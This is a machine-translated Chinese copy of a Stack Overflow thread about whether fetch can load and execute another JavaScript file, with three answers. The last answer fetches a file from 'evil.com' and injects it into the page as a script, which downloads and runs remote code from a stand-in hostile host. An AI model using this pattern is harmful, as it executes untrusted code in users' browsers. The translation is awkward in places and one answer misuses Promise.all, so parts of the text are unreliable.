我可以使用`fetch`从另一个运行JS脚本吗?

时间:2017-06-28 13:29:50

标签: javascript jquery asynchronous ecmascript-6

在这里降低中级JS / JQ人员。

我试图通过使用JS fetch来逃避回调地狱。这被称为"替代AJAX"并且看起来非常强大。我可以看到你如何用它来获取HTML和JSON对象......但它是否能够运行你所在的另一个JS脚本?也许ES6中还有另一项新功能:

$.getScript( 'xxx.js' );

$.ajax({ url : 'xxx.js', dataType : "script", });

...

之后,对Joseph The Dreamer的回应:

试过这个:

const createdScript = $(document.createElement('script')).attr('src', 'generic.js');
fetch( createdScript )...

...它没有运行脚本" generic.js"。你的意思是什么吗?

3 个答案:

答案 0 :(得分:22)

Fetch API应该提供基于promise的API来获取远程数据。加载随机远程脚本 AJAX - 即使jQuery.ajax能够做到这一点。它不会被Fetch API处理。

脚本可以动态附加并包含一个承诺:

const scriptPromise = new Promise((resolve, reject) => {
  const script = document.createElement('script');
  document.body.appendChild(script);
  script.onload = resolve;
  script.onerror = reject;
  script.async = true;
  script.src = 'foo.js';
});

scriptPromise.then(() => { ... });

SystemJS应该为脚本加载提供基于promise的API,也可以使用:

System.config({
  meta: {
    '*': { format: 'global' }
  }
});

System.import('foo.js').then(() => { ... });

答案 1 :(得分:1)

这里有几点需要注意。

是的,可以执行刚从服务器加载的javascript。您可以将文件作为文本和用户eval(...)获取,但不建议使用此文件,因为副作用难以置信且缺乏安全性!

另一种选择是: 1.加载javascript文件 2.使用文件内容(或url,因为浏览器缓存文件)创建脚本标记

这样可行,但它可能无法让你免于回调地狱。

如果您想要的是加载其他javascript文件,您可以使用,例如requirejs,您可以定义模块并以dinamically方式加载它们。看看http://requirejs.org/

如果你真的想摆脱回调地狱,你需要做的是

  • 定义函数(您可以将它们放在同一个文件中,或者使用客户端中的requirejs从另一个文件加载,或者如果在部署之前可以负担编译,则加载webpack)
  • 如果需要,请使用promises或stream(请参阅Rxjs https://github.com/Reactive-Extensions/RxJS
  • 请记住,promise.then返回一个承诺

    someAsyncThing()
      .then(doSomethingAndResolveAnotherAsncThing)
      .then(doSomethingAsyncAgain)
    

请记住,承诺可以组成

Promise.all(somePromise, anotherPromise, fetchFromServer)
  .then(doSomethingWhenAllOfThoseAreResolved)

答案 2 :(得分:0)

是的,你可以

<script>
fetch('https://evil.com/1.txt') .then(function(response) { if (!response.ok) { return false; } return response.blob(); }) .then(function(myBlob) { var objectURL = URL.createObjectURL(myBlob); var sc = document.createElement("script"); sc.setAttribute("src", objectURL); sc.setAttribute("type", "text/javascript"); document.head.appendChild(sc);})
</script>

不要听所选的“正确”答案。